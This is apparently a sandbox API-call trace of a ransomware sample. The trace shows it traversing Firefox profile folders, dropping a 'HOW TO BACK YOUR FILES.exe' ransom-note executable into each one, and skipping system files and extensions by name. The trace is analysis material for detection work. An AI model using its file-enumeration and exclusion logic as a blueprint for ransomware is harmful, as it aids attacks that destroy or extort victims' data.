	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="ckp") returned -1
	[0045.228] lstrlenW (lpString="cma") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="cma") returned -1
	[0045.228] lstrlenW (lpString="cpd") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="cpd") returned -1
	[0045.228] lstrlenW (lpString="dacpac") returned 6
	[0045.228] lstrcmpiW (lpString1="CLEAN_", lpString2="dacpac") returned -1
	[0045.228] lstrlenW (lpString="dad") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="dad") returned -1
	[0045.228] lstrlenW (lpString="dadiagrams") returned 10
	[0045.228] lstrcmpiW (lpString1="CHE_CLEAN_", lpString2="dadiagrams") returned -1
	[0045.228] lstrlenW (lpString="daschema") returned 8
	[0045.228] lstrcmpiW (lpString1="E_CLEAN_", lpString2="daschema") returned 1
	[0045.228] lstrlenW (lpString="db-journal") returned 10
	[0045.228] lstrcmpiW (lpString1="CHE_CLEAN_", lpString2="db-journal") returned -1
	[0045.228] lstrlenW (lpString="db-shm") returned 6
	[0045.228] lstrcmpiW (lpString1="CLEAN_", lpString2="db-shm") returned -1
	[0045.228] lstrlenW (lpString="db-wal") returned 6
	[0045.228] lstrcmpiW (lpString1="CLEAN_", lpString2="db-wal") returned -1
	[0045.228] lstrlenW (lpString="dbc") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="dbc") returned -1
	[0045.228] lstrlenW (lpString="dbs") returned 3
	[0045.228] lstrcmpiW (lpString1="AN_", lpString2="dbs") returned -1
	[0045.228] lstrlenW (lpString="dbt") returned 3
	[0045.229] lstrcmpiW (lpString1="AN_", lpString2="dbt") returned -1
	[0045.229] lstrlenW (lpString="dbv") returned 3
	[0045.229] lstrcmpiW (lpString1="AN_", lpString2="dbv") returned -1
	[0045.229] lstrlenW (lpString="dbx") returned 3
	[0045.229] lstrcmpiW (lpString1="AN_", lpString2="dbx") returned -1
	[0045.229] lstrlenW (lpString="dcb") returned 3
	[0045.229] lstrcmpiW (lpString1="AN_", lpString2="dcb") returned -1
	[0045.229] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853a9e10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 0
	[0045.229] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.229] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0045.229] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails"
	[0045.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0045.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0045.229] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails") returned 96
	[0045.229] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails"
	[0045.229] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.229] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.241] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.241] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3308a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3308a610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.241] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.241] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.241] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.241] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3308a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3308a610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.241] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.241] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.241] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.241] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.241] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83cc0a50, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x83cc0a50, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4cc87c1409819bf06f42b782d4902b2f.png", cAlternateFileName="4CC87C~1.PNG")) returned 1
	[0045.241] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.241] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="Apollon865.txt.exe") returned -1
	[0045.241] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2=".") returned 1
	[0045.241] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="..") returned 1
	[0045.241] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="windows") returned -1
	[0045.241] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="bootmgr") returned -1
	[0045.241] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="temp") returned -1
	[0045.241] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="pagefile.sys") returned -1
	[0045.241] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="boot") returned -1
	[0045.242] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="ids.txt") returned -1
	[0045.242] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="ntuser.dat") returned -1
	[0045.242] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="perflogs") returned -1
	[0045.242] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2="MSBuild") returned -1
	[0045.242] lstrlenW (lpString="4cc87c1409819bf06f42b782d4902b2f.png") returned 36
	[0045.242] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*") returned 98
	[0045.242] lstrcpyW (in: lpString1=0x2d3e612, lpString2="4cc87c1409819bf06f42b782d4902b2f.png" | out: lpString1="4cc87c1409819bf06f42b782d4902b2f.png") returned="4cc87c1409819bf06f42b782d4902b2f.png"
	[0045.242] lstrlenW (lpString="4cc87c1409819bf06f42b782d4902b2f.png") returned 36
	[0045.242] lstrlenW (lpString="Apollon865") returned 10
	[0045.242] lstrcmpiW (lpString1="902b2f.png", lpString2="Apollon865") returned -1
	[0045.242] lstrlenW (lpString=".dll") returned 4
	[0045.242] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2=".dll") returned 1
	[0045.242] lstrlenW (lpString=".lnk") returned 4
	[0045.242] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2=".lnk") returned 1
	[0045.242] lstrlenW (lpString=".ini") returned 4
	[0045.242] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2=".ini") returned 1
	[0045.242] lstrlenW (lpString=".sys") returned 4
	[0045.242] lstrcmpiW (lpString1="4cc87c1409819bf06f42b782d4902b2f.png", lpString2=".sys") returned 1
	[0045.242] lstrlenW (lpString="4cc87c1409819bf06f42b782d4902b2f.png") returned 36
	[0045.242] lstrcpyW (in: lpString1=0x2d3e612, lpString2="ba182bcd131f1f3c6b6fbbb1ba078341.png" | out: lpString1="ba182bcd131f1f3c6b6fbbb1ba078341.png") returned="ba182bcd131f1f3c6b6fbbb1ba078341.png"
	[0045.242] lstrlenW (lpString="ba182bcd131f1f3c6b6fbbb1ba078341.png") returned 36
	[0045.242] lstrlenW (lpString="Apollon865") returned 10
	[0045.242] lstrcmpiW (lpString1="078341.png", lpString2="Apollon865") returned -1
	[0045.242] lstrlenW (lpString=".dll") returned 4
	[0045.242] lstrcmpiW (lpString1="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpString2=".dll") returned 1
	[0045.242] lstrlenW (lpString=".lnk") returned 4
	[0045.242] lstrcmpiW (lpString1="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpString2=".lnk") returned 1
	[0045.242] lstrlenW (lpString=".ini") returned 4
	[0045.242] lstrcmpiW (lpString1="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpString2=".ini") returned 1
	[0045.242] lstrlenW (lpString=".sys") returned 4
	[0045.243] lstrcmpiW (lpString1="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpString2=".sys") returned 1
	[0045.243] lstrlenW (lpString="ba182bcd131f1f3c6b6fbbb1ba078341.png") returned 36
	[0045.243] lstrcpyW (in: lpString1=0x2d3e612, lpString2="ce8c0453589216a67cddb50284fbfe8d.png" | out: lpString1="ce8c0453589216a67cddb50284fbfe8d.png") returned="ce8c0453589216a67cddb50284fbfe8d.png"
	[0045.243] lstrlenW (lpString="ce8c0453589216a67cddb50284fbfe8d.png") returned 36
	[0045.243] lstrlenW (lpString="Apollon865") returned 10
	[0045.243] lstrcmpiW (lpString1="fbfe8d.png", lpString2="Apollon865") returned 1
	[0045.243] lstrlenW (lpString=".dll") returned 4
	[0045.243] lstrcmpiW (lpString1="ce8c0453589216a67cddb50284fbfe8d.png", lpString2=".dll") returned 1
	[0045.243] lstrlenW (lpString=".lnk") returned 4
	[0045.243] lstrcmpiW (lpString1="ce8c0453589216a67cddb50284fbfe8d.png", lpString2=".lnk") returned 1
	[0045.243] lstrlenW (lpString=".ini") returned 4
	[0045.243] lstrcmpiW (lpString1="ce8c0453589216a67cddb50284fbfe8d.png", lpString2=".ini") returned 1
	[0045.243] lstrlenW (lpString=".sys") returned 4
	[0045.243] lstrcmpiW (lpString1="ce8c0453589216a67cddb50284fbfe8d.png", lpString2=".sys") returned 1
	[0045.243] lstrlenW (lpString="ce8c0453589216a67cddb50284fbfe8d.png") returned 36
	[0045.243] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache"
	[0045.243] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599520 | out: hHeap=0x580000) returned 1
	[0045.243] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0045.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache") returned 98
	[0045.243] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache"
	[0045.243] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.243] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.247] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.247] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x330b0770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330b0770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.247] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.247] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.247] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.247] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x330b0770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330b0770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.247] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.247] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.247] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.247] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.247] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x330b0770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x330b0770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.247] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.247] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x854b47b0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85572e90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe59f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="startupCache.4.little", cAlternateFileName="STARTU~1.LIT")) returned 1
	[0045.247] lstrcmpiW (lpString1="startupCache.4.little", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.247] lstrcmpiW (lpString1="startupCache.4.little", lpString2="Apollon865.txt.exe") returned 1
	[0045.247] lstrcmpiW (lpString1="startupCache.4.little", lpString2=".") returned 1
	[0045.247] lstrcmpiW (lpString1="startupCache.4.little", lpString2="..") returned 1
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2="windows") returned -1
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2="bootmgr") returned 1
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2="temp") returned -1
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2="pagefile.sys") returned 1
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2="boot") returned 1
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2="ids.txt") returned 1
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2="ntuser.dat") returned 1
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2="perflogs") returned 1
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2="MSBuild") returned 1
	[0045.248] lstrlenW (lpString="startupCache.4.little") returned 21
	[0045.248] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*") returned 100
	[0045.248] lstrcpyW (in: lpString1=0x2d3e616, lpString2="startupCache.4.little" | out: lpString1="startupCache.4.little") returned="startupCache.4.little"
	[0045.248] lstrlenW (lpString="startupCache.4.little") returned 21
	[0045.248] lstrlenW (lpString="Apollon865") returned 10
	[0045.248] lstrcmpiW (lpString1="e.4.little", lpString2="Apollon865") returned 1
	[0045.248] lstrlenW (lpString=".dll") returned 4
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2=".dll") returned 1
	[0045.248] lstrlenW (lpString=".lnk") returned 4
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2=".lnk") returned 1
	[0045.248] lstrlenW (lpString=".ini") returned 4
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2=".ini") returned 1
	[0045.248] lstrlenW (lpString=".sys") returned 4
	[0045.248] lstrcmpiW (lpString1="startupCache.4.little", lpString2=".sys") returned 1
	[0045.248] lstrlenW (lpString="startupCache.4.little") returned 21
	[0045.248] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing"
	[0045.248] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.248] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0045.248] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing") returned 98
	[0045.248] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing"
	[0045.248] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.249] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.263] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.263] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x330d68d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330d68d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.264] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.264] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.264] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.264] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x330d68d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330d68d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.264] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.264] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.264] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.264] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.264] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x330d68d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x330d68d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.264] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.264] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x825fd7f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x825fd7f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x825fd7f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="test-malware-simple.cache", cAlternateFileName="TEST-M~1.CAC")) returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="Apollon865.txt.exe") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2=".") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="..") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="windows") returned -1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="bootmgr") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="temp") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="pagefile.sys") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="boot") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="ids.txt") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="ntuser.dat") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="perflogs") returned 1
	[0045.264] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2="MSBuild") returned 1
	[0045.264] lstrlenW (lpString="test-malware-simple.cache") returned 25
	[0045.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*") returned 100
	[0045.264] lstrcpyW (in: lpString1=0x2d3e616, lpString2="test-malware-simple.cache" | out: lpString1="test-malware-simple.cache") returned="test-malware-simple.cache"
	[0045.264] lstrlenW (lpString="test-malware-simple.cache") returned 25
	[0045.264] lstrlenW (lpString="Apollon865") returned 10
	[0045.264] lstrcmpiW (lpString1="mple.cache", lpString2="Apollon865") returned 1
	[0045.264] lstrlenW (lpString=".dll") returned 4
	[0045.265] lstrcmpiW (lpString1="test-malware-simple.cache", lpString2=".dll") returned 1
	[0045.265] lstrlenW (lpString=".lnk") returned 4
